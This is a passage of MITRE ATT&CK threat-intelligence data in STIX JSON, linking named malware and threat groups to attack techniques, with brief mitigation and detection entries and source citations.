Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021.","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a"},{"source_name":"ObjectiveSee AppleJeus 2019","description":"Patrick Wardle. (2019, October 12). Pass the AppleJeus. Retrieved September 28, 2022.","url":"https://objective-see.org/blog/blog_0x49.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T20:49:33.549Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has used shell scripts to execute commands after installation and set persistence mechanisms.(Citation: CISA AppleJeus Feb 2021)(Citation: ObjectiveSee AppleJeus 2019)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60db2ece-4f5e-4c47-a7eb-fd8bcf7ddc49","type":"relationship","created":"2021-10-01T01:57:31.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro TeamTNT","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021."}],"modified":"2021-10-01T01:57:31.770Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has used UPX and Ezuri packer to pack its binaries.(Citation: Trend Micro TeamTNT)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--60dd06c7-788f-45e7-8845-3bb1cb4f2c17","created":"2022-06-09T19:45:24.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022.","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/"},{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-12T18:17:52.850Z","description":"[Saint Bot](https://attack.mitre.org/software/S1018) has relied on users to execute a malicious attachment delivered via spearphishing.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60e4698b-a16d-4a40-8473-4d88e2e70881","type":"relationship","created":"2020-03-11T14:49:37.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-05T21:02:22.942Z","description":"Application control may be able to prevent the running of executables masquerading as other files.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--60ee4eba-cd3c-4558-aeba-0c5551f20dae","created":"2020-01-24T14:21:52.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-22T13:50:14.321Z","description":"Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn't included as part of an update, it should be investigated.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--60ee610e-087d-4515-9c42-9a60cc04d683","created":"2023-03-23T18:51:26.831Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T19:02:07.307Z","description":"For [Operation Ghost](https://attack.mitre.org/campaigns/C0023), [APT29](https://attack.mitre.org/groups/G0016) used [MiniDuke](https://attack.mitre.org/software/S0051) as a second-stage backdoor.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"campaign--7854c1a0-f06c-4876-98a4-4bbd34751b05","target_ref":"malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--60ef22cb-b7e7-4426-ab3a-11254fe63154","created":"2024-01-18T18:28:20.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-18T18:33:28.104Z","description":"[Ninja](https://attack.mitre.org/software/S1100) can XOR and AES encrypt C2 messages.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60f1cf34-8c60-47b7-ba9a-88c2575006f9","type":"relationship","created":"2020-05-22T19:37:14.209Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Chafer February 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."},{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2020-12-11T15:57:09.722Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has downloaded tools to compromised hosts.(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60f2ddcf-9b88-4a87-8baf-2777c9c49d39","type":"relationship","created":"2019-04-23T16:12:37.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2020-03-18T20:28:50.735Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) can enumerate local and domain user account information.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60fa966f-bb77-481f-9541-8a14e965718a","type":"relationship","created":"2019-01-30T19:18:20.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro MacOS April 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/","description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018."}],"modified":"2019-09-26T16:22:41.978Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) sets the main loader file’s attributes to hidden.(Citation: TrendMicro MacOS April 2018)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--60fc3c88-bff5-4a06-88f3-15715e4cafda","created":"2023-09-30T14:02:58.167Z","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T14:02:58.167Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has called victims' help desk to convince the support personnel to reset a privileged account’s credentials.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--6a5d222a-a7e0-4656-b110-782c33098289","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--60fd7b53-b65a-49d3-ba1c-40beb74e8088","created":"2024-06-18T20:12:18.923Z","revoked":false,"external_references":[{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T20:12:18.923Z","description":"[Spica](https://attack.mitre.org/software/S1140) can archive collected documents for exfiltration.(Citation: Google TAG COLDRIVER January 2024)","relationship_type":"uses","source_ref":"malware--824a230d-0f6a-4fd0-99df-8d464db2265e","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--61010e1c-505d-45de-a30e-fc01d8b8c8e8","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T20:08:42.981Z","description":"Monitor the creation or modification of Launch Agents or Launch Daemons via the launchctl command.\n\nAnalytic 1 - Create Service In Suspicious File Path\n\nsourcetype=osquery\n| search service_action=\"create\" OR service_action=\"modify\"\n| where user NOT IN (\"known_admins\") AND service_name IN (\"LaunchAgents\", \"LaunchDaemons\")\n ","relationship_type":"detects","source_ref":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","target_ref":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--610421e6-aa2f-4756-817b-57458e4959ad","created":"2022-08-15T17:08:57.478Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason StrifeWater Feb 2022","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Cybereason StrifeWater Feb 2022)","modified":"2022-08-15T17:08:57.478Z","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61047751-c353-4190-bc37-19ad959bc35e","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}],"modified":"2020-03-17T01:22:43.711Z","description":"[Gazer](https://attack.mitre.org/software/S0168) communicates with its C2 servers over HTTP.(Citation: ESET Gazer Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--610aaa44-0209-4a39-8662-cd43f750977e","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--610fcccc-c03a-4bd1-8f86-95802fe33cba","type":"relationship","created":"2020-03-17T19:15:25.998Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-17T19:15:25.998Z","description":"One version of [Helminth](https://attack.mitre.org/software/S0170) consists of VBScript scripts.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--611076ef-ae96-4540-a9a4-35cf617ea83a","created":"2022-04-14T16:48:52.622Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for user authentication attempts, when requesting access tokens to services, that failed because of Conditional Access Policies (CAP). Some SAML tokens features, such as the location of a user, may not be as easy to claim.","modified":"2022-04-14T16:48:52.622Z","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6118a138-c13c-4117-97dd-c3e7ec3e1021","type":"relationship","created":"2020-05-29T20:32:42.907Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-05-29T20:32:42.907Z","description":"[Get2](https://attack.mitre.org/software/S0460) has the ability to identify running processes on an infected host.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--099ecff2-41b8-436d-843c-038a9aa9aa69","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--611ad683-7772-4592-bbd4-e5589591a76e","type":"relationship","created":"2020-10-20T03:22:16.268Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-12-09T21:49:30.736Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--611cb6eb-efdb-4d74-b354-5064ab52bd34","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2020-03-16T23:44:39.226Z","description":"Modules can be pushed to and executed by [Duqu](https://attack.mitre.org/software/S0038) that copy data to a staging area, compress it, and XOR encrypt it.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6127605c-df31-4810-a24c-77a965399c90","created":"2022-06-15T18:14:03.966Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Protect generated event files and logs that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities.","modified":"2022-06-15T18:14:03.966Z","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--612c9ce1-a4d6-45bb-b807-5808207c6c45","created":"2022-10-13T14:45:10.155Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:45:10.155Z","description":"[PcShare](https://attack.mitre.org/software/S1050) has the ability to capture keystrokes.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--612cdeba-0ca3-426f-93d3-2dd3ccca7a54","created":"2022-08-07T14:40:28.139Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":" [SideCopy](https://attack.mitre.org/groups/G1008) has executed malware by calling the API function `CreateProcessW`.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-15T20:28:15.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61347ac0-5e9c-48d1-b7a1-7bb1535941b8","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--61360c2f-0a26-49ca-ac7c-2758fcd26ea2","created":"2023-06-16T18:45:42.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T15:32:04.815Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can store configuration information in the Registry including the initialization vector and AES key needed to find and decrypt other [Uroburos](https://attack.mitre.org/software/S0022) components.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6139509a-709b-4ef4-81fb-25b9a35e2c60","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Volgmer Nov 2017","description":"US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA – North Korean Trojan: Volgmer. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318B"}],"modified":"2019-10-15T22:51:02.957Z","description":"[Volgmer](https://attack.mitre.org/software/S0180) queries the system to identify existing services.(Citation: US-CERT Volgmer Nov 2017)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--613ba18d-d23b-443a-9e1a-c2d564132fe2","type":"relationship","created":"2020-04-27T20:40:03.104Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-27T21:02:32.990Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has used [ftp](https://attack.mitre.org/software/S0095) for exfiltration.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--613c0bcd-d165-472b-adc8-1e547edb13af","created":"2024-06-27T20:29:03.237Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-27T20:29:03.237Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can decrypt strings related to communication configuration using RC4 with a static key.(Citation: ESET Turla Lunar toolset May 